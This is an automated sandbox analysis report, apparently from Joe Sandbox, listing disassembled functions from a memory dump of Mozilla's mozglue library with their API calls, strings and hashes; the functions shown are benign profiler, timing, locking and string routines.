ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D6A2

Strings

$me/, xrefs: 6C36D4E1, 6C36D5EE

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: $me/
API String ID: 2206442479-2210144079
Opcode ID: 16adbc8bc5be755cdf61266c8f6e42bfc5e8bc260aa88322aeae8d77d83d0f77
Instruction ID: 1e98976db1a112e63b42c70f569cbf834b57bf5f0625f10b5ff0afb7dfb9c4b6
Opcode Fuzzy Hash: 16adbc8bc5be755cdf61266c8f6e42bfc5e8bc260aa88322aeae8d77d83d0f77
Instruction Fuzzy Hash: D0516D71A04705DFC714DF35C484A9ABBF9FF89318F10862DE99A8BB10EB31A945CB91

Function 6C376660 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C39F618), ref: 6C376694
GetThreadId.KERNEL32(?), ref: 6C3766B1
GetCurrentThreadId.KERNEL32 ref: 6C3766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C3766E1
EnterCriticalSection.KERNEL32(6C39F618), ref: 6C376734
GetCurrentProcess.KERNEL32 ref: 6C37673A
LeaveCriticalSection.KERNEL32(6C39F618), ref: 6C37676C
GetCurrentThread.KERNEL32 ref: 6C3767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C376868
RtlCaptureContext.NTDLL ref: 6C37687F

Strings

$me/, xrefs: 6C376678
WalkStack64, xrefs: 6C376890

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: $me/$WalkStack64
API String ID: 2357170935-1864039169
Opcode ID: 8f34af992bfbfa7663269b0a92904bcc35f962913cb8f55ceb4e935a70177fe1
Instruction ID: 14eb8fc9769c68d6111194d0f8c3cec54d35126337cc002224dc1ade1a89a561
Opcode Fuzzy Hash: 8f34af992bfbfa7663269b0a92904bcc35f962913cb8f55ceb4e935a70177fe1
Instruction Fuzzy Hash: 4D51CE71A09341AFDB21CF25C844B5EBBF8BF89718F00492DF59897640E7799904CFA6

Function 6C35DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35DE73
GetCurrentThreadId.KERNEL32 ref: 6C35DF7D
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35DF8A
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35DFC9
GetCurrentThreadId.KERNEL32 ref: 6C35DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C324A68), ref: 6C35DE7B

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C324A68), ref: 6C35DEB8
free.MOZGLUE(00000000,?,6C324A68), ref: 6C35DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C35DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C35DE83
<none>, xrefs: 6C35DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C35E00E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 8d56990b952e7e72a67316bc59e1e7562443f7cd59437ce0bf284b0a62633ed2
Instruction ID: 075adabe79c1ef146972afe5628b584678acb5fa5cb59bbd7a2d16aeaaa6b49c
Opcode Fuzzy Hash: 8d56990b952e7e72a67316bc59e1e7562443f7cd59437ce0bf284b0a62633ed2
Instruction Fuzzy Hash: 03410676B012109BDB109F64D904BAA7779EF4630CF950015F90A9BB01EB37A825CFE3

Function 6C335670 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C3356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C3356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C335744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C3357BC
GetTickCount64.KERNEL32 ref: 6C3358CB
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C3358F3
__aulldiv.LIBCMT ref: 6C335945
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C3359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C39F638,?,?,?,?), ref: 6C3359E9

Strings

MOZ_APP_RESTART, xrefs: 6C3356CC
$me/, xrefs: 6C33567F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: $me/$MOZ_APP_RESTART
API String ID: 2752551254-3381657435
Opcode ID: d1274f821667267c4ee61a1754b63c6698f3283e59426b016098a7eb4af6f73b
Instruction ID: 3710fd7f3bdc30a8239334b4fa32d653fcb7129ccacf01273930f0b9b3fd6243
Opcode Fuzzy Hash: d1274f821667267c4ee61a1754b63c6698f3283e59426b016098a7eb4af6f73b
Instruction Fuzzy Hash: F0C17C31A097909FDB05CF28C44066ABBF5BFDA714F159A1DF8C897660E731A885CF82

Function 6C311E90 Relevance: 21.1, APIs: 9, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784), ref: 6C311EC1
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311EE1
EnterCriticalSection.KERNEL32(6C39E744), ref: 6C311F38
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C311F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C311F83
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311FC0
EnterCriticalSection.KERNEL32(6C39E784), ref: 6C311FE2
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C312019

Strings

$me/, xrefs: 6C311E9C
D9l, xrefs: 6C311F32
\9l, xrefs: 6C311F3E
D9l, xrefs: 6C311F56
MOZ_CRASH(), xrefs: 6C312000

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: $me/$D9l$D9l$MOZ_CRASH()$\9l
API String ID: 2055633661-3551495710
Opcode ID: 267933268271382faf5aa5f97da933d56f36b7e859ae7f7a2610c613ede92747
Instruction ID: 184c304ce7702bb5f470037cfd0562c8bd0dd42d3d6715f77a99dd604aa86ffe
Opcode Fuzzy Hash: 267933268271382faf5aa5f97da933d56f36b7e859ae7f7a2610c613ede92747
Instruction Fuzzy Hash: 3441F376F053198FDF149F69D884BAA36B9FB59708F040125E9059BB40FB7298048FD2

Function 6C37AC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C37AC52
CreateFileMappingW.KERNEL32 ref: 6C37AC7D
GetSystemInfo.KERNEL32 ref: 6C37AC98
MapViewOfFile.KERNEL32 ref: 6C37ACB0
GetSystemInfo.KERNEL32 ref: 6C37ACCD
MapViewOfFile.KERNEL32 ref: 6C37AD05
UnmapViewOfFile.KERNEL32 ref: 6C37AD1C
CloseHandle.KERNEL32 ref: 6C37AD28
UnmapViewOfFile.KERNEL32 ref: 6C37AD37
CloseHandle.KERNEL32 ref: 6C37AD43
CloseHandle.KERNEL32 ref: 6C37AD67

Strings

$me/, xrefs: 6C37AC29

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: $me/
API String ID: 1192971331-2210144079
Opcode ID: 79615e1cf0dfdab09ed7b884edad13edc6ff364d093ad8f26da2f0dfc7058ab3
Instruction ID: d7144145339f1e6d6ab4c20f4eb1bc4318d25c8ebbd52a84934718c4ec881c4a
Opcode Fuzzy Hash: 79615e1cf0dfdab09ed7b884edad13edc6ff364d093ad8f26da2f0dfc7058ab3
Instruction Fuzzy Hash: 27316FB1A047048FDB10FF78D64826EBBF8BF85319F01892DE98597211EB759448CB92

Function 6C358ED0 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C31EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C31EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C35B392,?,?,00000001), ref: 6C3591F4

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Strings

marker-chart, xrefs: 6C35905E
timeline-memory, xrefs: 6C359088
name, xrefs: 6C358F16
$me/, xrefs: 6C358ED9
marker-table, xrefs: 6C35906C
timeline-fileio, xrefs: 6C3590A4
stack-chart, xrefs: 6C3590B2
timeline-overview, xrefs: 6C35907A
timeline-ipc, xrefs: 6C359096
data, xrefs: 6C3590E8

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: $me/$data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3607471496
Opcode ID: a2402b3b37200bc02cc7d77039c328e814cea8c9574498a0cc37962ed68f0adf
Instruction ID: 8889775fbf7fa517ae3e0b63d1b14bf4f9e2fc54403313d280a1407932b11b95
Opcode Fuzzy Hash: a2402b3b37200bc02cc7d77039c328e814cea8c9574498a0cc37962ed68f0adf
Instruction Fuzzy Hash: D0B1C4B4A012099BDF08CF54C891BEEBBB9EF89318F504419D502ABF80D7769A55CFE1

Function 6C313480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C313492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C3134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C3134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C31350E
__Init_thread_footer.LIBCMT ref: 6C313522
__aulldiv.LIBCMT ref: 6C313552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C31357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C313592

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

Strings

$me/, xrefs: 6C313488
kernel32.dll, xrefs: 6C3134EA
GetSystemTimePreciseAsFileTime, xrefs: 6C313508

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: $me/$GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-2386846921
Opcode ID: 0eddb771d27792fb7697e4c2b25200ee98dc389f26730b3aab78651afe1d21a9
Instruction ID: 6c3f344823e420a1ddd0cb0ff53398ecf8caf54bcc26baae5f1a6ddc04b2f1de
Opcode Fuzzy Hash: 0eddb771d27792fb7697e4c2b25200ee98dc389f26730b3aab78651afe1d21a9
Instruction Fuzzy Hash: 9431AF71F0020A9FDF14DFB9D848AAA77BDFB49708F104029E601A7A50FB76A904CF61

Function 6C35EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35EC8C

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35ECA1
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C35ECC5
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C35ED19
CloseHandle.KERNEL32(?), ref: 6C35ED28
free.MOZGLUE(00000000), ref: 6C35ED2F
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C35EC94

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d514bac5693454cf8c9e955d908541617664d240268e2b3d6ee48ba80016cdc1
Instruction ID: 190af469fb5089c7a7cc86ddb3a2ff863b6183824ab0cd56eb21a261967f407c
Opcode Fuzzy Hash: d514bac5693454cf8c9e955d908541617664d240268e2b3d6ee48ba80016cdc1
Instruction Fuzzy Hash: 5021E5B5600214AFDF009F64D804EAA777DEF4A26DF504211FC199B740EB3AAC25CFA2

Function 6C33C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C33C5A3
WideCharToMultiByte.KERNEL32 ref: 6C33C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C33C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C33CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C33CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C33CAA5

Strings

(null), xrefs: 6C33C596
0, xrefs: 6C33D30A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 329b18cebe3cdb757ed4f8928d2d18fbda28e14fbd491d1818379d056c4e6e58
Instruction ID: 0e60dab47384d3ed46261b1dd2fbf19fae88758d94adcc4342f9b9696311a268
Opcode Fuzzy Hash: 329b18cebe3cdb757ed4f8928d2d18fbda28e14fbd491d1818379d056c4e6e58
Instruction Fuzzy Hash: 19A1AC306083A18FDB00DF29D58875ABBE5AF89758F049A2DE88AD7641D732DC05CF92

Function 6C369D00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C368273), ref: 6C369D65
free.MOZGLUE(6C368273,?), ref: 6C369D7C
free.MOZGLUE(?,?), ref: 6C369D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C369E0F
free.MOZGLUE(6C36946B,?,?), ref: 6C369E24
free.MOZGLUE(?,?,?), ref: 6C369E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C369EC8
free.MOZGLUE(6C36946B,?,?,?), ref: 6C369EDF
free.MOZGLUE(?,?,?,?), ref: 6C369EF5

Strings

$me/, xrefs: 6C369D0E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: $me/
API String ID: 956590011-2210144079
Opcode ID: dd2841fed9c8b8ff632a6ca32af7f31dcfa0274c3a2bae8ac7cc1d0aef459a24
Instruction ID: de700def9e4a802d180e14dbfea6ac3b2dbacf25c9729345fa1ec557044771ea
Opcode Fuzzy Hash: dd2841fed9c8b8ff632a6ca32af7f31dcfa0274c3a2bae8ac7cc1d0aef459a24
Instruction Fuzzy Hash: D2719EB0909B818BC712CF19C48059BF3F4FF99325B449619E89E9BB05EB31E885CF91

Function 6C33C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C33C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C33C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C33C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C33C891

Strings

NAN, xrefs: 6C33C7AD
INF, xrefs: 6C33C794
nan, xrefs: 6C33C7A8
inf, xrefs: 6C33C78F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 518dd4acc6472918e09d747834aeec8d728d442a129f6ed82e546cc1d6cf5675
Instruction ID: 117664007f0286d1769718fff13392867decdaa595db898db80728e2df3a6ddc
Opcode Fuzzy Hash: 518dd4acc6472918e09d747834aeec8d728d442a129f6ed82e546cc1d6cf5675
Instruction Fuzzy Hash: 4A51B4719087908BD700EF2CD48129AFBF4BF8A308F009A2DE9D9A7651E771D9858F53

Function 6C375D10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375DC9
std::_Facet_Register.LIBCPMT ref: 6C375DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375E45

Strings

$me/, xrefs: 6C375D19

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

